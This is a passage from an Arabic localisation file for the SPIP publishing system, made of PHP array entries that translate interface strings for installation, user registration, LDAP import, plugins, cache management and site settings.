'info_numero_article' => 'المقال رقم:',
'info_obligatoire_02' => '(إجباري)',
'info_option_accepter_visiteurs' => 'قبول تسجيل الزوار من الموقع العمومي',
'info_option_faire_suivre' => 'تمرير مشاركات المنتديات الى مؤلفي المقالات',
'info_option_ne_pas_accepter_visiteurs' => 'رفض تسجيل الزوار من الموقع العمومي',
'info_options_avancees' => 'الخيارات المتطورة',
'info_ortho_activer' => 'تفعيل مدقق الاملاء',
'info_ortho_desactiver' => 'تعطيل مدقق الاملاء',
'info_ou' => 'أو...',
'info_page_interdite' => 'صفحة محظورة',
'info_par_nom' => 'حسب الاسم',
'info_par_nombre_article' => 'حسب عدد المقالات',
'info_par_statut' => 'حسب الوضع',
'info_par_tri' => '’(حسب @tri@)’',
'info_passe_trop_court' => 'كلمة السر قصيرة جداً.',
'info_passe_trop_court_car_pluriel' => 'يجب ان تحتوي كلمة السر @nb@ حرفاً على الأقل.',
'info_passes_identiques' => 'كلمتا السر ليستا متطابقتان.',
'info_pense_bete_ancien' => 'مذكراتك القديمة',
'info_plus_cinq_car' => 'أكثر من خمسة حروف',
'info_plus_cinq_car_2' => '(أكثر من خمسة حروف)',
'info_plus_trois_car' => '(أكثر من ثلاثة حروف)',
'info_popularite' => 'الشعبية: @popularite@؛ الزيارات: @visites@',
'info_popularite_4' => 'الشعبية: @popularite@؛ الزيارات: @visites@',
'info_post_scriptum' => 'الملحق',
'info_post_scriptum_2' => 'الملحق:',
'info_pour' => 'لـ',
'info_preview_admin' => 'لا يحق الا للمدراء الاطلاع على عرض مسبق للموقع',
'info_preview_comite' => ' يحق لجميع المحررين الاطلاع على عرض مسبق للموقع',
'info_preview_desactive' => 'تم تعطيل العرض المسبق',
'info_preview_texte' => 'من الممكن عرض الموقع مسبقاً كما لو ان كل المقالات والاخبار (التي تتمتع بوضعية «مقترح» على الاقل) منشورة. هل تتاح هذه الوظيفة للمدراء فقط او لجميع المحررين او تُعطل؟',
'info_principaux_correspondants' => 'مراسلوك الأساسيون',
'info_procedez_par_etape' => 'الرجاء إتباع الخطوة خطوة ',
'info_procedure_maj_version' => 'يجب تنفيذ عملية الترقية لتكييف
قاعدة البيانات مع إصدار SPIP الجديد.',
'info_proxy_ok' => 'نجح اختبار الجهاز الوكيل.',
'info_ps' => 'ملاحظة',
'info_publier' => 'نشر',
'info_publies' => 'مقالاتك المنشورة',
'info_question_accepter_visiteurs' => 'اذا كانت صفحات موقعك النموذجية تفسح المجال للزوار الذين لا يتمتعون بحق الدخول الى المجال الخاص لتسجيل انفسهم، قم بتفعيل الخيار التالي:',
'info_question_inscription_nouveaux_redacteurs' => 'هل تسمح بتسجيل محررين جدد من
الموقع العمومي؟ إذا وافقت، سيتمكن الزوار من التسجيل
عبر إستمارة آلية والدخول الى المجال الخاص
لعرض مقالاتهم. <div class="notice">خلال عملية التسجيل،
يحصل المستخدمون على رسالة آلية
تزودهم ببيانات الدخول الى المجال الخاص. إلا ان بعض
خدام المواقع يعطلون إرسال البريد الآلي في
أجهزتهم: في هذه الحال، لا يمكن تفعيل
التسجيل الآلي.</div>',
'info_question_utilisation_moteur_recherche' => 'هل ترغب في استخدام محرك البحث المدمج في SPIP؟
(ايقافه يسرّع أداء النظام)',
'info_question_vignettes_referer_non' => 'عدم عرض مصغرات عن مواقع مصدر الزيارات',
'info_qui_edite' => '@nom_auteur_modif@ عمل على هذا المحتوى منذ @date_diff@ دقيقة ',
'info_racine_site' => 'أصل الموقع',
'info_recharger_page' => 'الرجاء إعادة تحميل الصفحة بعد لحظات.',
'info_recherche_auteur_a_affiner' => 'تم العثور على عدد كبير جداً من النتائج لـ "@cherche_auteur@" ، الرجاء زيادة دقة البحث.',
'info_recherche_auteur_ok' => 'تم العثور على عدة محررين لـ "@cherche_auteur@":',
'info_recherche_auteur_zero' => 'لا توجد نتائج لـ «@cherche_auteur@».',
'info_recommencer' => 'الرجاء إعادة المحاولة.',
'info_redacteur_1' => 'محرر',
'info_redacteur_2' => 'يملك حق الدخول الى المجال الخاص (ينصح به)',
'info_redacteurs' => 'محررون',
'info_redaction_en_cours' => 'قيد التحرير',
'info_redirection' => 'إعادة توجيه',
'info_redirection_activee' => 'تم تفعيل إعادة التحويل.',
'info_redirection_desactivee' => 'تم حذف إعادة التحويل.',
'info_refuses' => 'مقالاتك المرفوضة',
'info_reglage_ldap' => 'خيارات: <b>ضبط جلب LDAP </b>',
'info_renvoi_article' => '<b>إعادة توجيه.</b> هذا المقال يحيل الى الصفحة: ',
'info_reserve_admin' => 'المدراء وحدهم يمكنهم تغيير هذا العنوان.',
'info_restreindre_rubrique' => 'حصر الإدارة في القسم:',
'info_resultat_recherche' => 'نتائج البحث:',
'info_rubriques' => 'الأقسام',
'info_rubriques_02' => 'الأقسام',
'info_rubriques_trouvees' => 'الأقسام التي عثر عليها',
'info_rubriques_trouvees_dans_texte' => 'الأقسام التي عثر عليها (في المادة)',
'info_sans_titre' => 'بدون عنوان',
'info_selection_chemin_acces' => '<b>حدد</b> أدناه مسار الدخول في الدليل:',
'info_signatures' => 'التوقيعات',
'info_site' => 'الموقع',
'info_site_2' => 'الموقع:',
'info_site_min' => 'الموقع',
'info_site_reference_2' => 'موقع مبوب',
'info_site_web' => 'الموقع:',
'info_sites' => ' مواقع',
'info_sites_lies_mot' => 'المواقع المبوبة المرتبطة بهذا المفتاح',
'info_sites_proxy' => 'إستخدام جهاز وكيل',
'info_sites_trouves' => 'المواقع التي عثر عليها',
'info_sites_trouves_dans_texte' => 'المواقع التي عثر عليها (في المادة)',
'info_sous_titre' => 'العنوان الفرعي:',
'info_statut_administrateur' => 'مدير',
'info_statut_auteur' => 'وضع هذا المؤلف:',
'info_statut_auteur_2' => 'أنا',
'info_statut_auteur_a_confirmer' => 'التسجيل المطلوب التأكد منه',
'info_statut_auteur_autre' => 'وضعية اخرى:',
'info_statut_efface' => 'محذوف',
'info_statut_redacteur' => 'محرر',
'info_statut_utilisateurs_1' => 'الوضع الافتراضي للمستخدمين المجلوبين',
'info_statut_utilisateurs_2' => 'قم باختيار الوضع المخصص للأشخاص الموجودين في دليل LDAP عندما سيتصلون للمرة الأولى. لاحقاً، يمكنك تغيير هذه القيمة لكل مؤلف على حدى.',
'info_suivi_activite' => 'متابعة أنشطة التحرير',
'info_surtitre' => 'عنوان المدخل:',
'info_syndication_integrale_1' => 'يقدم موقعك ملفات ترخيص (انظر «<a href="@url@">@titre@</a>»).',
'info_syndication_integrale_2' => 'هل ترغب في تقديم المقالات بكاملها او الاكتفاء بنشر ملخص من بضعة مئات من الكلمات؟',
'info_table_prefix' => 'يمكنك تغيير بادئة اسماء جداول البيانات (هذا ضروري في حال تثبيت عدة مواقع لقاعدة بيانات واحدة). تكتب هذه البادئة بحروف صغيرة بدون صوتيات ومسافات. ',
'info_taille_maximale_images' => 'سيقوم SPIP بتفقد الحد الاقصى لحجم الصور التي يمكنه معالجتها (بملايين النقاط).<br /> لن يتم تصغير الصور التي تتعدى هذا الحد.',
'info_taille_maximale_vignette' => 'الحد الأقصى لأبعاد المصغرات التي ينتجها النظام:',
'info_terminer_installation' => 'يمكنك الآن إتمام عملية التثبيت العادية',
'info_texte' => 'المادة',
'info_texte_explicatif' => 'نص توضيحي',
'info_texte_long' => '(المادة طويلة جداً: ستظهر بعدة أجزاء تتم إعادة تجميعها بعد النقر على الإدخال.)',
'info_texte_message' => 'نص مشاركتك:',
'info_texte_message_02' => 'نص الرسالة',
'info_titre' => 'الموضوع:',
'info_total' => 'المجموع:',
'info_tous_articles_en_redaction' => 'كل المقالات قيد التحرير',
'info_tous_articles_presents' => 'كل المقالات المنشورة في هذا القسم',
'info_tous_articles_refuses' => 'كل المقالات المرفوضة',
'info_tous_les' => 'كل:',
'info_tous_redacteurs' => 'إعلانات لجميع المحررين',
'info_tout_site' => 'الموقع بالكامل',
'info_tout_site2' => 'لم يُترجم المقال الى هذه اللغة.',
'info_tout_site3' => 'تمت ترجمة المقال الى هذه اللغة لكن طرأت تعديلات على المقال المرجع في ما بعد. يجب تحديث الترجمة.',
'info_tout_site4' => 'تمت ترجمة المقال الى هذه اللغة والترجمة حديثة.',
'info_tout_site5' => 'المقال الاصلي.',
'info_tout_site6' => '<b>تحذير:</b> المقالات الاصلية وحدها هي المعروضة.
الترجمات مرتبطة بالاصلي،
يلون يدل على حالتها:',
'info_traductions' => 'الترجمات',
'info_travail_colaboratif' => 'تحرير المقالات المشترك',
'info_un_article' => 'مقال، ',
'info_un_site' => 'موقع،',
'info_une_rubrique' => 'قسم،',
'info_une_rubrique_02' => 'قسم واحد',
'info_url' => 'عنوان URL:',
'info_url_proxy' => 'عنوان URL للجهاز الوكيل',
'info_url_site' => 'عنوان الموقع:',
'info_url_site_pas_conforme' => 'عنوان URL غير صالح.',
'info_url_test_proxy' => 'عنوان URL للاختبار',
'info_urlref' => 'وصلة هايبرتكست:',
'info_utilisation_spip' => 'أصبح نظام النشر الآلي جاهزاً للاستخدام...',
'info_visites_par_mois' => 'عرض حسب الشهر:',
'info_visiteur_1' => 'زائر',
'info_visiteur_2' => 'للموقع العمومي',
'info_visiteurs' => 'الزوار',
'info_visiteurs_02' => 'زوار الموقع العمومي',
'info_webmestre_forces' => 'المشرفون محددون حالياً في <tt>@file_options@</tt>.',
'install_adresse_base_hebergeur' => 'عنوان قاعدة البيانات التي خصصها لك المضيف',
'install_base_ok' => 'تم التعرف على القاعدة @base@',
'install_connect_ok' => 'تم فعلاً تعريف قاعدة البيانات باسم جهاز الخدمة @connect@.',
'install_echec_annonce' => 'الارجح ان التثبيت سيفشل او يؤدي الى موقع غير سليم...',
'install_extension_mbstring' => 'لا يعمل SPIP مع:',
'install_extension_php_obligatoire' => 'يتطلب SPIP ملحق php:',
'install_login_base_hebergeur' => 'معرّف الدخول الذي خصصه لك المضيف',
'install_nom_base_hebergeur' => 'اسم قاعدة البيانات الدي خصصه لك المضيف:',
'install_pas_table' => 'قاعدة من دون جداول حالياً',
'install_pass_base_hebergeur' => 'كلمة سر الاتصال التي خصصها لك المضيف',
'install_php_version' => 'اصدار @version@ من PHP غير كاف(الحد الادنى = @minimum@)',
'install_select_langue' => 'إختر لغة ثم انقر على الزر« التالي» للبدء بعملية التثبيت.',
'install_select_type_db' => 'تحديد نوع قاعدة البيانات:',
'install_select_type_mysql' => 'MySQL',
'install_select_type_mysqli' => 'MySQLi',
'install_select_type_pg' => 'PostgreSQL',
'install_select_type_sqlite2' => 'SQLite 2',
'install_select_type_sqlite3' => 'SQLite 3',
'install_serveur_hebergeur' => 'خادم قواعد البيانات الذي يوفره المضيف ',
'install_table_prefix_hebergeur' => 'بادئة اسماء الجداول التي خصصها لك المضيف:',
'install_tables_base' => 'جداول القاعدة',
'install_types_db_connus' => 'يستطيع SPIP استخدام <b>MySQL</b> (الاكثر انتشاراً) و<b>SQLite</b>.',
'install_types_db_connus_avertissement' => 'يتوافر دعم <b>PostgreSQL</b> أيضاً على سبيل الاختبار',
'instituer_erreur_statut_a_change' => 'لقد تم تعديل الوضع من قبل',
'instituer_erreur_statut_non_autorise' => 'لا يمكن اختيار هذا الوضع',
'intem_redacteur' => 'محرر',
'intitule_licence' => 'الرخصة',
'item_accepter_inscriptions' => 'السماح بالتسجيل',
'item_activer_messages_avertissement' => 'تفعيل رسائل التحذير',
'item_administrateur_2' => 'مدير',
'item_afficher_calendrier' => 'إظهار في الروزنامة',
'item_autoriser_documents_joints' => 'السماح بربط المستندات بالمقالات',
'item_autoriser_documents_joints_rubriques' => 'إجازة المستندات في الأقسام',
'item_autoriser_syndication_integrale' => 'نشر كامل المقالات في ملفات الترخيص',
'item_choix_administrateurs' => 'المدراء',
'item_choix_generation_miniature' => 'إنشاء مصغرات عن الصور آلياً.',
'item_choix_non_generation_miniature' => 'عدم إنشاء مصغرات عن الصور.',
'item_choix_redacteurs' => 'المحررون',
'item_choix_visiteurs' => 'زوار الموقع العمومي',
'item_creer_fichiers_authent' => 'إنشاء ملفات .htpasswd',
'item_limiter_recherche' => 'إقتصار البحث على المعلومات الموجودة في موقعك',
'item_login' => ' المعرّف',
'item_messagerie_agenda' => 'تفعيل المراسلة والمفكرة',
'item_mots_cles_association_articles' => 'المقالات',
'item_mots_cles_association_rubriques' => 'الأقسام',
'item_mots_cles_association_sites' => 'المواقع المبوبة او المرخصة.',
'item_non' => 'كلا',
'item_non_accepter_inscriptions' => 'عدم السماح بالتسجيل',
'item_non_activer_messages_avertissement' => 'تعطيل رسائل التحذير',
'item_non_afficher_calendrier' => 'عدم إظهار في الروزنامة',
'item_non_autoriser_documents_joints' => 'عدم السماح بربط المستندات بالمقالات',
'item_non_autoriser_documents_joints_rubriques' => 'عدم إجازة المستندات في الأقسام',
'item_non_autoriser_syndication_integrale' => 'الاكتفاء بنشر ملخص',
'item_non_compresseur' => 'تعطيل الصغط',
'item_non_creer_fichiers_authent' => 'عدم إنشاء هذه الملفات',
'item_non_gerer_statistiques' => 'عدم إدارة الإحصاءات',
'item_non_limiter_recherche' => 'توسيع البحث ليشمل محتوى المواقع المبوبة',
'item_non_messagerie_agenda' => 'تعطيل المراسلة والمفكرة',
'item_non_publier_articles' => 'عدم نشر المقالات قبل تاريخها.',
'item_non_utiliser_moteur_recherche' => 'عدم إستخدام محرك البحث',
'item_nouvel_auteur' => 'مؤلف جديد',
'item_nouvelle_rubrique' => 'قسم جديد',
'item_oui' => 'نعم',
'item_publier_articles' => 'نشر المقالات مهما كان تاريخها.',
'item_reponse_article' => 'الرد على المقال',
'item_utiliser_moteur_recherche' => 'إستخدام محرك البحث',
'item_version_html_max_html4' => 'حصر الموقع العمومي بلغة HTML4 ',
'item_version_html_max_html5' => 'السماح بلغة HTML5',
'item_visiteur' => 'زائر',
// J
'jour_non_connu_nc' => 'غير معروف',
// L
'label_bando_outils' => 'شريط الأدوات',
'label_bando_outils_afficher' => 'عرض الأدوات',
'label_bando_outils_masquer' => 'إخفاء الأدوات',
'label_choix_langue' => 'حدد لغتك',
'label_nom_fichier_connect' => 'أدخل الاسم الذي يستخدمه هذا الخادم',
'label_slogan_site' => 'شعار الموقع',
'label_taille_ecran' => 'عرض الشاشة',
'label_texte_et_icones_navigation' => 'قائمة التصفح',
'label_texte_et_icones_page' => 'عرض في الصفحة',
'ldap_correspondance' => 'استلام من الحقل @champ@',
'ldap_correspondance_1' => 'استلام حقول LDAP',
'ldap_correspondance_2' => 'لكل من حقول SPIP التالية، حدد اسم حقل LDAP المناسب. يمكن ترك حقل فارغ، استخدام المسافات او الفواصل لتجربة عدة حقول LDAP.',
'lien_ajout_destinataire' => 'إضافة المرسل اليه هذا',
'lien_ajouter_auteur' => 'إضافة هذا المؤلف',
'lien_ajouter_participant' => 'إضافة مشارك',
'lien_ajouter_une_rubrique' => 'إضافة هذا القسم',
'lien_email' => 'البريد الالكتروني',
'lien_nom_site' => 'إسم الموقع:',
'lien_retirer_auteur' => 'حذف المؤلف',
'lien_retirer_rubrique' => 'سحب القسم',
'lien_retirer_tous_auteurs' => 'إزالة جميع المؤلفين',
'lien_retirer_toutes_rubriques' => 'سحب كل الأقسام',
'lien_retrait_particpant' => 'سحب هذا المشارك',
'lien_site' => 'الموقع',
'lien_supprimer_rubrique' => 'حذف هذا القسم',
'lien_tout_deplier' => 'بسط الكل',
'lien_tout_replier' => 'طي الكل',
'lien_tout_supprimer' => 'حذف الكل',
'lien_trier_nom' => 'فرز حسب الإسم ',
'lien_trier_nombre_articles' => 'فرز حسب عدد المقالات',
'lien_trier_statut' => 'فرز حسب الوضع',
'lien_voir_en_ligne' => 'عرض مباشر:',
'logo_article' => 'شعار المقال',
'logo_auteur' => 'شعار المؤلف',
'logo_rubrique' => 'شعار القسم',
'logo_site' => 'شارة هذا الموقع',
'logo_standard_rubrique' => 'شعار الأقسام القياسي',
'logo_survol' => 'شعار الحوم',
// M
'menu_aide_installation_choix_base' => 'إختيار قاعدة البيانات',
'module_fichier_langue' => 'ملف اللغة',
'module_raccourci' => 'اختصار',
'module_texte_affiche' => 'النص المعروض',
'module_texte_explicatif' => 'يمكن ادراج الاختصارات التالية في صفحات الموقع النموذجية. سوف تُترجم آلياً في مختلف اللغات التي يتوافر لها ملف لغة.',
'module_texte_traduction' => 'ملف اللغة «@module@» متوافر بـ:',
'mois_non_connu' => 'غير معروف',
// N
'nouvelle_version_spip' => 'الإصدار @version@ من SPIP متوافر الآن',
// O
'onglet_contenu' => 'المحتوى',
'onglet_declarer_une_autre_base' => 'الاعلان عن قاعدة اخرى',
'onglet_discuter' => 'النقاش',
'onglet_documents' => 'المستندات',
'onglet_interactivite' => 'التفاعلية',
'onglet_proprietes' => 'الخصائص',
'onglet_repartition_actuelle' => 'حالياً',
'onglet_sous_rubriques' => 'الأقسام الفرعية',
// P
'page_pas_proxy' => 'لا يجب ان تمر هذه الصفحة عبر جهاز بروكسي',
'pas_de_proxy_pour' => 'لدى الضرورة، حدد الاجهزة او النطاقات التي لا يجب ان ينطبق عليها الوكيل (مثلاً: @exemple@) ',
'plugin_charge_paquet' => 'تحميل رزمة @name@',
'plugin_charger' => 'تحميل',
'plugin_erreur_charger' => 'خطأ: لا يمكن تحميل @zip@',
'plugin_erreur_droit1' => 'المجلد <code>@dest@</code> لا يسمح بالكتابة فيه.',
'plugin_erreur_droit2' => 'الرجاء التأكد من الامتيازات على هذا المجلد (وانشائه اذا اقتضى الامر)، او تثبيت الملفات عبر FTP.',
'plugin_erreur_zip' => 'فشل pclzip: خطأ @status@',
'plugin_etat_developpement' => 'قيد التطوير',
'plugin_etat_experimental' => 'اختباري',
'plugin_etat_stable' => 'ثابت',
'plugin_etat_test' => 'قيد الاختبار',
'plugin_impossible_activer' => 'لا يمكن تفعيل الملحق @plugin@',
'plugin_info_automatique1' => 'اذا اردت السماح بالتثبيت الآلي للملحقات، الرجاء:',
'plugin_info_automatique1_lib' => 'أذا رغبت في السماح بالتثبيت الآلي لهذه المكتبة، يرجى:',
'plugin_info_automatique2' => 'انشاء المجلد <code>@rep@</code>،',
'plugin_info_automatique3' => 'التأكد من ان جهاز الخدمة يمكنه الكتابة في هذا المجلد.',
'plugin_info_automatique_creer' => 'يتم انشاؤه في اصل الموقع.',
'plugin_info_automatique_exemples' => 'أمثلة:',
'plugin_info_automatique_ftp' => 'يمكنك تثبيت الملحقات بواسطة FTP في المجلد <tt>@rep@</tt>',
'plugin_info_automatique_lib' => 'بعض الملحقات تتطلب ايضاً القدرة على تحميل ملفات في مجلد <code>lib/</code> الذي يتم انشاؤه في اصل الموقع اذا لزم الامر.',
'plugin_info_automatique_liste' => 'لوائح الملحقات:',
'plugin_info_automatique_liste_officielle' => 'الملحقات الرسمية',
'plugin_info_automatique_liste_update' => 'تحديث اللوائح',
'plugin_info_automatique_ou' => 'او...',
'plugin_info_automatique_select' => 'اختر احد الملحقات ادناه: سيقوم SPIP بتحميله وتثبيته في المجلد <code>@rep@</code>. اذا كان هذا الملحق موجوداً سوف يتم تحديثه.',
'plugin_info_credit' => 'الحقوق',
'plugin_info_erreur_xml' => 'تعريف هذا الملحق غير صحيح',
'plugin_info_install_ok' => 'نجح التثبيت',
'plugin_info_necessite' => 'يتطلب:',
'plugin_info_non_compatible_spip' => 'لا يتوافق هذا الملحق مع هذا الإصدار من SPIP',
'plugin_info_plugins_dist_1' => 'تم تحميل الإضافات أدناه وتفعيلها في مجلد @plugins_dist@.',
'plugin_info_plugins_dist_2' => 'لا يمكن إيقافها.',
'plugin_info_telecharger' => 'للتحميل من @url@ والتثبيت في @rep@',
'plugin_info_upgrade_ok' => 'نجحت الترقية',
'plugin_librairies_installees' => 'المكتبات المثبتة',
'plugin_necessite_lib' => 'هذا الملحق يتطلب المكتبة @lib@',
'plugin_necessite_plugin' => 'يتطلب الملحق @plugin@ بالاصدار @version@ على الاقل.',
'plugin_necessite_plugin_sans_version' => 'يتطلب الملحق @plugin@',
'plugin_necessite_spip' => 'يتطلب SPIP باصدار @version@ على الاقل.',
'plugin_source' => 'المصدر:',
'plugin_titre_automatique' => 'تثبيت آلي',
'plugin_titre_automatique_ajouter' => 'إضافة ملحقات',
'plugin_titre_installation' => 'تثبيت الملحق @plugin@',
'plugin_titre_modifier' => 'ملحقاتي',
'plugin_zip_active' => 'تابع للتفعيل',
'plugin_zip_adresse' => 'ادخل ادناه عنوان ملف zip لملحق مطلوب تحميله او عنوان لائحة ملاحق.',
'plugin_zip_adresse_champ' => 'عنوان الملحق او اللائحة ',
'plugin_zip_content' => 'يحتوي الملفات التالية (@taille@)، بانتظار تثبيتها في المجلد <code>@rep@</code>',
'plugin_zip_installe_finie' => 'تم ازالة ضغط الملف @zip@ وتثبيته.',
'plugin_zip_installe_rep_finie' => 'تم ازالة ضغط الملف @zip@ وتثبيته في المجلد @rep@',
'plugin_zip_installer' => 'بمكنك الآن تثبيته.',
'plugin_zip_telecharge' => 'تم تحميل الملف @zip@',
'plugins_actif_aucun' => 'لا يوجد ملحقات نشطة',
'plugins_actif_un' => 'ملحق واحد نشط.',
'plugins_actifs' => '@count@ ملحق ناشط.',
'plugins_actifs_liste' => 'النشطة',
'plugins_compte' => '@count@ ملحق',
'plugins_disponible_un' => 'ملحق واحد متاح.',
'plugins_disponibles' => '@count@ ملحق متوافر.',
'plugins_erreur' => 'خطأ في الملحقات: @plugins@',
'plugins_liste' => 'لائحة الملحقات',
'plugins_liste_dist' => 'الملحقات المقفلة',
'plugins_recents' => 'أحدث الملحقات.',
'plugins_tous_liste' => 'الكل',
'plugins_vue_hierarchie' => 'الهرمية',
'plugins_vue_liste' => 'لائحة',
'protocole_ldap' => 'إصدار البروتوكول:',
// Q
'queue_executer_maintenant' => 'تنفيذ الآن',
'queue_info_purger' => 'يمكنك حذف كل الأعمال في الانتظار وتأصيل لائحة الأعمال الدورية',
'queue_nb_jobs_in_queue' => '@nb@ عمل بالانتظار',
'queue_next_job_in_nb_sec' => 'العمل القادم خلال @nb@ ثانية',
'queue_no_job_in_queue' => 'لا توجد أعمال بالانتظار',
'queue_one_job_in_queue' => 'عمل واحد بالانتظار',
'queue_purger_queue' => 'تأصيل لائحة الأعمال',
'queue_titre' => 'لائحة الأعمال',
// R
'repertoire_plugins' => 'دليل:',
// S
'sans_heure' => 'بدون توقيت الساعات',
'statut_admin_restreint' => 'إدارة محدودة',
'statut_webmestre' => 'المشرف على الموقع',
// T
'tache_cron_asap' => 'مهمة CRON @function@ (في أسرع وقت)',
'tache_cron_secondes' => 'مهمةCRON @function@ (كل @nb@ ثانية)',
'taille_cache_image' => 'تحتل الصور التي حسبها SPIP آلياً (مصغرات مستندات، عناوين معروضة كصور، دالات رياضية بتنسيق TeX...) مساحة اجمالية تبلغ @taille@ في الدليل @dir@.',
'taille_cache_infinie' => 'لا يضع هذا الموقع اي حدود لحجم دليل الذاكرة المخبأة.',
'taille_cache_maxi' => 'يحاول SPIP الحد من حجم دليل الذاكرة المخبأة في هذا الموقع لكي لا يتعدى <b>@octets@</b> من البيانات.',
'taille_cache_moins_de' => 'حجم الذاكرة المخبأة أقل من @octets@.',
'taille_cache_octets' => 'يبلغ حجم الذاكرة المخبأة حالياً @octets@ تقريباً.',
'taille_cache_vide' => 'الذاكرة المخبأة فارغة.',
'taille_repertoire_cache' => 'حجم دليل الذاكرة المخبأة',
'text_article_propose_publication' => 'مقال معروض للنشر.',
'texte_acces_ldap_anonyme_1' => 'بعض خدام LDAP تمنع الدخول المغفل. في هذه الحال عليك بإدخال بيانات دخول أولية لتتمكن من البحث عن معلومات في الدليل لاحقاً. إلا أنه، في معظم الأحيان، يمكن ترك الحقول التالية فارغة.',
'texte_admin_effacer_01' => 'يقوم هذا الأمر بحذف كامل محتوى قاعدة البيانات،
بما في ذلك كل وسائط الوصول للمحررين والمدراء. بعد تنفيذه، يتحتم عليك
إعادة تثبيت SPIP لإعادة إنتاج قاعدة جديدة ووسيط دخول أول مدير.',
'texte_adresse_annuaire_1' => 'إذا كان دليلك مثبت على الجهاز نفسه الذي يحتوي موقعك، فإنه على الأرجح «localhost»)).',
'texte_ajout_auteur' => 'تمت إضافة المؤلف التالي الى المقال:',
'texte_annuaire_ldap_1' => 'إذا كان لديك إمكتان وصول الى دليل LDAP، يمكنك استخدامه لجلب المستخدمين آلياً الى SPIP.',
'texte_article_statut' => 'هذا المقال:',
'texte_article_virtuel' => 'مقال إفتراضي',
'texte_article_virtuel_reference' => '<b>مقال إفتراضي: <b/>مقال مبوّب في موقع SPIP لديك، لكنه موجه الى عنوان آخر. لإلغاء التوجيه، قم بحذف العنوان أعلاه.',
'texte_aucun_resultat_auteur' => 'لا توجد نتائج لـ "@cherche_auteur@"',
'texte_auteur_messagerie' => 'يمكن لهذا الموقع رصد قائمة المحررين المتصلين بشكل دائم مما يتيح لك تبادل الرسائل في الوقت الحقيقي. يمكنك التقرير بعدم الظهور في هذه القائمة (وبالتالي تكون «مخفياً» بالنسبة للمستخدمين الآخرين).',
'texte_auteur_messagerie_1' => 'يتيح لك هذا الموقع تبادل الرسائل وإنشاء منتديات نقاش خاصة بين المشتركين في الموقع. يمكنك أخذ قرار عدم المشاركة في هذا التبادل.',
'texte_auteurs' => 'المؤلفون',
'texte_choix_base_1' => 'حدد قاعدة بياناتك:',
'texte_choix_base_2' => 'يحتوي خادم SQL على عدة قواعد بيانات.',
'texte_choix_base_3' => '<b>حدد</b> أدناه القاعدة التي خصصها مضيفك لك:',
'texte_choix_table_prefix' => 'بادئة الجداول:',
'texte_commande_vider_tables_indexation' => 'إستخدم هذا الأمر لتفريغ جداول الفهرسة التي يستعملها
محرك البحث المدمج في SPIP. ويتيح لك ذلك
توفير بعض المساحة على القرص الثابت.',
'texte_compatibilite_html' => 'يمكنك الطلب من SPIP إنتاج علامات متوافقة مع مقياس <i>HTML4</i> في الموقع العمومي او السماح له باستخدام إمكانات مقياس <i>HTML5</i> الأحدث.',
'texte_compatibilite_html_attention' => 'لا يشكل تفعيل خيار <i>HTML5</i> أية مخاطرة، ولكن اذا اخترت التفعيل يجب ان تبدأ صفحات موقعك بالعبارة التالية لكي تكون صالحة: <code><!DOCTYPE html></code>.',
'texte_compresse_ou_non' => '(يمكن ضغط هذا أم لا)',
'texte_compte_element' => 'عنصر@count@',
'texte_compte_elements' => 'عنصر@count@',
'texte_conflit_edition_correction' => 'الرجاء التدقيق ادناه في الفوارق بين إصداري النص. يمكنك ايضاً تسخ تعديلاتك ثم البدء من جديد.',
'texte_connexion_mysql' => 'راجع المعلومات التي زودك بها مضيفك: من المفترض ان تجد فيها خادم قاعدة البيانات وبيانات اتصالك الشخصية بالقاعدة.',
'texte_contenu_article' => '(محتوى المقال في بضع كلمات.)',
'texte_contenu_articles' => 'اعتماداً على تصميم موقعك، يمكنك اختيار
عدم استخدام بعض عناصر المقالات.
إستخدم القائمة التالية لاختيار العناصر التي ستكون متاحة.',
'texte_crash_base' => 'إذا حصل عطل في
قاعدتك، يمكنك محاولة إصلاحها
آلياً.',
'texte_creer_rubrique' => 'قبل التمكن من كتابة مقالات،<br />يجب عليك إنشاء قسم واحد على الأقل.',
'texte_date_creation_article' => 'تاريخ إنشاء المقال:',
'texte_date_creation_objet' => 'تاريخ الانشاء:', # on ajoute le ":"
'texte_date_publication_anterieure' => 'تاريخ النشر السابق:',
'texte_date_publication_anterieure_nonaffichee' => 'إخفاء تاريخ النشر السابق.',
'texte_date_publication_article' => 'تاريخ النشر:',
'texte_date_publication_objet' => 'تاريخ النشر:',
'texte_descriptif_petition' => 'وصف العريضة',
'texte_descriptif_rapide' => 'وصف مقتضب',
'texte_effacer_base' => 'حذف قاعدة بيانات SPIP',
'texte_effacer_donnees_indexation' => 'حذف بيانات الفهرسة',
'texte_effacer_statistiques' => 'حذف الاحصاءات',
'texte_en_cours_validation' => 'المقالات والأخبار التالية معروضة للنشر.',
'texte_enrichir_mise_a_jour' => 'يمكنك استخدام «إختصارات الكتابة» لتحسين مظهر مادتك.',
'texte_fichier_authent' => '<b>هل يقوم SPIP بإنشاء الملفات الخاصة<tt>.htpasswd</tt>
و<tt>.htpasswd-admin</tt> في المجلد @dossier@؟</b>
<p>تستخدم هذه الملفات للحد من دخول المؤلفين
والمدراء الى اجزاء اخرى من الموقع
(تطبيقات إحصائية خارجية مثلاً).</p><p>
إذا كنت لا تحتاج الى هذه الملفات يمكنك الإبقاء على القيمة
الافتراضية لهذا الخيار (عدم إنشاء
الملفات).</p>',
'texte_informations_personnelles_1' => 'سيزودك النظام الآن بدخول شخصي الى الموقع.',
'texte_informations_personnelles_2' => '(ملاحظة: هذه إعادة تثبيت، اذا كان دخولك لا يزال يعمل، يمكنك',
'texte_introductif_article' => '(نص تقديمي للمقال)',
'texte_jeu_caractere' => 'يستحسن استخدام الطقم الحروف الشامل (<tt>utf-8</tt>): يسمح هذا الطقم بعرض نصوص بجميع اللغات ولا يتسبب بمشاكل توافق مع برامج التصفح الحديثة.',
'texte_jeu_caractere_2' => 'تحذير: هذا الإعداد لن يحول النصوص المخزنة مسبقاً في قاعدة البيانات.',
'texte_jeu_caractere_3' => 'موقعك يستخدم حالياً طقم الحروف:',
'texte_jeu_caractere_4' => 'اذا كان ذلك لا يتناسب مع واقع بياناتك (من جراء استرجاع نسخة احتياطية من القاعدة مثلاً) او اذا كنت <strong>تباشر في اطلاق هذا الموقع</strong> وترغب في استخدام طقم حروف آخر، الرجاء تحديد هذا الطقم هنا:',
'texte_jeu_caractere_conversion' => 'ملاحظة: قد ترغب في تحويل مجمل نصوص موقعك نهائياً (المقالات والأخبار والمنتديات الخ.) الى طقم <tt>utf-8</tt> وذلك بالذهاب الى <a href="@url@">صفحة التحويل الى utf-8</a>> ',
